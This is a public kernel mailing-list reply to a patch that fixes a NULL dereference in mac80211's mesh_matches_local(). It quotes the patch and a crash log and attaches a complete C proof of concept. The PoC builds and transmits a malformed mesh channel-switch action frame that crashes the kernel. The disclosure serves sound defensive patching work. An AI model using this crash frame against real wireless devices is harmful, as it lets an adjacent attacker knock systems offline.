From: Xiang Mei <xmei5@asu.edu>
To: security@kernel.org
Cc: netdev@vger.kernel.org, johannes@sipsolutions.net,
linux-wireless@vger.kernel.org, bestswngs@gmail.com
Subject: Re: [PATCH net] wifi: mac80211: fix NULL deref in mesh_matches_local()
Date: Tue, 17 Mar 2026 21:41:17 -0700 [thread overview]
Message-ID: <k6lgszcsjftoc46jrpt6vtwmzxuzzfawrnujwilmxibqcmqb7a@4r4darslq6zo> (raw)
In-Reply-To: <20260318034244.2595020-1-xmei5@asu.edu>
On Tue, Mar 17, 2026 at 08:42:44PM -0700, Xiang Mei wrote:
> mesh_matches_local() unconditionally dereferences ie->mesh_config to
> compare mesh configuration parameters. When called from
> mesh_rx_csa_frame(), the parsed action-frame elements may not contain a
> Mesh Configuration IE, leaving ie->mesh_config NULL and triggering a
> kernel NULL pointer dereference.
>
> The other two callers are already safe:
> - ieee80211_mesh_rx_bcn_presp() checks !elems->mesh_config before
> calling mesh_matches_local()
> - mesh_plink_get_event() is only reached through
> mesh_process_plink_frame(), which checks !elems->mesh_config, too
>
> mesh_rx_csa_frame() is the only caller that passes raw parsed elements
> to mesh_matches_local() without guarding mesh_config. An adjacent
> attacker can exploit this by sending a crafted CSA action frame that
> includes a valid Mesh ID IE but omits the Mesh Configuration IE,
> crashing the kernel.
>
> The captured crash log:
>
> Oops: general protection fault, probably for non-canonical address ...
> KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
> Workqueue: events_unbound cfg80211_wiphy_work
> [...]
> Call Trace:
> <TASK>
> ? __pfx_mesh_matches_local (net/mac80211/mesh.c:65)
> ieee80211_mesh_rx_queued_mgmt (net/mac80211/mesh.c:1686)
> [...]
> ieee80211_iface_work (net/mac80211/iface.c:1754 net/mac80211/iface.c:1802)
> [...]
> cfg80211_wiphy_work (net/wireless/core.c:426)
> process_one_work (net/kernel/workqueue.c:3280)
> ? assign_work (net/kernel/workqueue.c:1219)
> worker_thread (net/kernel/workqueue.c:3352)
> ? __pfx_worker_thread (net/kernel/workqueue.c:3385)
> kthread (net/kernel/kthread.c:436)
> [...]
> ret_from_fork_asm (net/arch/x86/entry/entry_64.S:255)
> </TASK>
>
> This patch adds a NULL check for ie->mesh_config at the top of
> mesh_matches_local() to return false early when the Mesh Configuration
> IE is absent.
>
> Fixes: 2e3c8736820b ("mac80211: support functions for mesh")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
> net/mac80211/mesh.c | 3 +++
> 1 file changed, 3 insertions(+)
>
> diff --git a/net/mac80211/mesh.c b/net/mac80211/mesh.c
> index 28624e57aa499..8fdbdf9ba2a9e 100644
> --- a/net/mac80211/mesh.c
> +++ b/net/mac80211/mesh.c
> @@ -79,6 +79,9 @@ bool mesh_matches_local(struct ieee80211_sub_if_data *sdata,
> * - MDA enabled
> * - Power management control on fc
> */
> + if (!ie->mesh_config)
> + return false;
> +
> if (!(ifmsh->mesh_id_len == ie->mesh_id_len &&
> memcmp(ifmsh->mesh_id, ie->mesh_id, ie->mesh_id_len) == 0 &&
> (ifmsh->mesh_pp_id == ie->mesh_config->meshconf_psel) &&
> --
> 2.43.0
>
Thanks for your attention for this bug.
The following information could help you to reproduce the bug:
Configs:
```
CONFIG_WIRELESS=y
CONFIG_CFG80211=y
CONFIG_MAC80211=y
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_HWSIM=y
CONFIG_RFKILL=y
```
To reproduce the crash, I attached the poc to this email:
```c
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#define BUF_SIZE 4096
#define MESH_ID "meshpoc"
#define MESH_FREQ 2412
#define WLAN_EID_CHANNEL_SWITCH 37
#define WLAN_EID_MESH_ID 114
struct nl_req {
struct nlmsghdr nlh;
struct genlmsghdr genl;
char buf[BUF_SIZE];
};
static uint16_t seq;
static void die(const char *s) { perror(s); exit(1); }
static void nla_put(struct nlmsghdr *n, uint16_t type, const void *d, size_t l)
{
struct nlattr *a = (void *)n + NLMSG_ALIGN(n->nlmsg_len);
a->nla_type = type;
a->nla_len = NLA_HDRLEN + l;
if (d && l) memcpy((void *)a + NLA_HDRLEN, d, l);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLA_ALIGN(a->nla_len);
}
static void nla_put_u32(struct nlmsghdr *n, uint16_t t, uint32_t v)
{ nla_put(n, t, &v, 4); }
static void nla_put_flag(struct nlmsghdr *n, uint16_t t)
{ nla_put(n, t, NULL, 0); }
static int genl_send(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl a = { .nl_family = AF_NETLINK };
char resp[BUF_SIZE];
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++seq;
nlh->nlmsg_pid = getpid();
if (sendto(fd, nlh, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0)
return -errno;
ssize_t n = recv(fd, resp, sizeof(resp), 0);
if (n < 0) return -errno;
struct nlmsghdr *h = (void *)resp;
if (h->nlmsg_type == NLMSG_ERROR)
return ((struct nlmsgerr *)NLMSG_DATA(h))->error;
return 0;
}
static int genl_resolve(int fd, const char *name)
{
struct nl_req req = {};
struct nlmsghdr *nlh = &req.nlh;
struct genlmsghdr *genl = NLMSG_DATA(nlh);
struct sockaddr_nl a = { .nl_family = AF_NETLINK };
char resp[BUF_SIZE];
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = ++seq;
nlh->nlmsg_pid = getpid();
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*genl));
genl->cmd = CTRL_CMD_GETFAMILY;
genl->version = 1;
nla_put(nlh, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
if (sendto(fd, nlh, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0)
return -errno;
ssize_t n = recv(fd, resp, sizeof(resp), 0);
if (n < 0) return -errno;
struct nlmsghdr *h = (void *)resp;
if (h->nlmsg_type == NLMSG_ERROR)
return ((struct nlmsgerr *)NLMSG_DATA(h))->error;
struct genlmsghdr *gh = NLMSG_DATA(h);
int rem = h->nlmsg_len - NLMSG_LENGTH(sizeof(*gh));
struct nlattr *at;
for (at = (void *)gh + GENL_HDRLEN; rem >= (int)sizeof(*at);
rem -= NLA_ALIGN(at->nla_len), at = (void *)at + NLA_ALIGN(at->nla_len))
if (at->nla_type == CTRL_ATTR_FAMILY_ID)
return *(uint16_t *)((void *)at + NLA_HDRLEN);
return -ENOENT;
}
static void get_mac(const char *ifname, uint8_t mac[6])
{
struct ifreq ifr = {};
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) die("socket");
snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) die("SIOCGIFHWADDR");
memcpy(mac, ifr.ifr_hwaddr.sa_data, 6);
close(fd);
}
static void if_down(const char *ifname)
{
struct ifreq ifr = {};
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) return;
snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
ioctl(fd, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags &= ~IFF_UP;
ioctl(fd, SIOCSIFFLAGS, &ifr);
close(fd);
}
static void if_up(const char *ifname)
{
struct ifreq ifr = {};
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) die("socket");
snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
ioctl(fd, SIOCGIFFLAGS, &ifr);
ifr.ifr_flags |= IFF_UP;
if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) die("SIOCSIFFLAGS");
close(fd);
}
/* Set interface type to MESH_POINT */
static int set_mesh_type(int fd, int nl80211, int ifindex)
{
struct nl_req req = {};
req.nlh.nlmsg_type = nl80211;
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
req.genl.cmd = NL80211_CMD_SET_INTERFACE;
nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
nla_put_u32(&req.nlh, NL80211_ATTR_IFTYPE, NL80211_IFTYPE_MESH_POINT);
return genl_send(fd, &req.nlh);
}
/* Join a mesh network */
static int join_mesh(int fd, int nl80211, int ifindex)
{
struct nl_req req = {};
req.nlh.nlmsg_type = nl80211;
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
req.genl.cmd = NL80211_CMD_JOIN_MESH;
nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
nla_put(&req.nlh, NL80211_ATTR_MESH_ID, MESH_ID, strlen(MESH_ID));
nla_put_u32(&req.nlh, NL80211_ATTR_WIPHY_FREQ, MESH_FREQ);
return genl_send(fd, &req.nlh);
}
/*
* Build the malformed CSA action frame:
* - Includes Mesh ID IE (passes the mesh_id_len + memcmp check)
* - Omits Mesh Configuration IE (elems->mesh_config stays NULL)
* -> mesh_matches_local() dereferences NULL -> kernel crash
*/
static size_t build_bad_frame(uint8_t *buf, const uint8_t da[6],
const uint8_t sa[6])
{
uint8_t *p = buf;
size_t idlen = strlen(MESH_ID);
memset(buf, 0, 256);
/* 802.11 mgmt header — action frame */
*(uint16_t *)p = htole16(0x00d0); p += 2;
p += 2;
memcpy(p, da, 6); p += 6;
memcpy(p, sa, 6); p += 6;
memcpy(p, sa, 6); p += 6;
p += 2;
/* Spectrum management: channel switch */
*p++ = 0; *p++ = 4;
/* Channel Switch IE */
*p++ = WLAN_EID_CHANNEL_SWITCH; *p++ = 3;
*p++ = 0; *p++ = 1; *p++ = 1;
/* Mesh ID IE — matches victim */
*p++ = WLAN_EID_MESH_ID; *p++ = idlen;
memcpy(p, MESH_ID, idlen); p += idlen;
/* Mesh Config IE intentionally OMITTED */
return p - buf;
}
/* Send raw frame via NL80211_CMD_FRAME */
static int tx_frame(int fd, int nl80211, int ifindex, void *frame, size_t len)
{
struct nl_req req = {};
req.nlh.nlmsg_type = nl80211;
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
req.genl.cmd = NL80211_CMD_FRAME;
nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
nla_put_u32(&req.nlh, NL80211_ATTR_WIPHY_FREQ, MESH_FREQ);
nla_put(&req.nlh, NL80211_ATTR_FRAME, frame, len);
nla_put_flag(&req.nlh, NL80211_ATTR_DONT_WAIT_FOR_ACK);
return genl_send(fd, &req.nlh);
}
int main(void)
{
uint8_t da[6], sa[6], frame[256];
int fd, nl80211, ret, idx0, idx1;
printf("[*] mesh_matches_local() NULL deref PoC\n");
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (fd < 0) die("socket");
struct sockaddr_nl local = { .nl_family = AF_NETLINK, .nl_pid = getpid() };
if (bind(fd, (void *)&local, sizeof(local)) < 0) die("bind");
nl80211 = genl_resolve(fd, "nl80211");
if (nl80211 < 0) { fprintf(stderr, "nl80211 not found\n"); return 1; }
idx0 = if_nametoindex("wlan0");
idx1 = if_nametoindex("wlan1");
if (!idx0 || !idx1) {
fprintf(stderr, "wlan0/wlan1 not found. Need mac80211_hwsim radios=2\n");
return 1;
}
/* Step 1: Set both interfaces to mesh mode */
printf("[*] configuring mesh interfaces\n");
if_down("wlan0");
if_down("wlan1");
usleep(200000);
ret = set_mesh_type(fd, nl80211, idx0);
if (ret) { fprintf(stderr, "set wlan0 mesh: %d\n", ret); return 1; }
ret = set_mesh_type(fd, nl80211, idx1);
if (ret) { fprintf(stderr, "set wlan1 mesh: %d\n", ret); return 1; }
if_up("wlan0");
if_up("wlan1");
/* Step 2: Join mesh */
ret = join_mesh(fd, nl80211, idx0);
if (ret) { fprintf(stderr, "join wlan0: %d\n", ret); return 1; }
ret = join_mesh(fd, nl80211, idx1);
if (ret) { fprintf(stderr, "join wlan1: %d\n", ret); return 1; }
printf("[*] mesh joined on %d MHz\n", MESH_FREQ);
sleep(1);
/* Step 3: Send malformed frame */
get_mac("wlan0", da);
get_mac("wlan1", sa);
printf("[*] victim %02x:%02x:%02x:%02x:%02x:%02x\n",
da[0], da[1], da[2], da[3], da[4], da[5]);
printf("[*] attacker %02x:%02x:%02x:%02x:%02x:%02x\n",
sa[0], sa[1], sa[2], sa[3], sa[4], sa[5]);
size_t flen = build_bad_frame(frame, da, sa);
printf("[*] sending malformed CSA frame (%zu bytes)\n", flen);
ret = tx_frame(fd, nl80211, idx1, frame, flen);
if (ret) { fprintf(stderr, "tx failed: %d\n", ret); return 1; }
printf("[*] sent — check dmesg for null-ptr-deref in mesh_matches_local\n");
sleep(3);
return 0;
}
```
The intended crash was attached in the commit message. Please let me know
if you have any questions for the patch and poc.
Thanks,
Xiang
prev parent reply other threads:[~2026-03-18 4:41 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-03-18 3:42 [PATCH net] wifi: mac80211: fix NULL deref in mesh_matches_local() Xiang Mei
2026-03-18 4:41 ` Xiang Mei [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=k6lgszcsjftoc46jrpt6vtwmzxuzzfawrnujwilmxibqcmqb7a@4r4darslq6zo \
--to=xmei5@asu.edu \
--cc=bestswngs@gmail.com \
--cc=johannes@sipsolutions.net \
--cc=linux-wireless@vger.kernel.org \
--cc=netdev@vger.kernel.org \
--cc=security@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox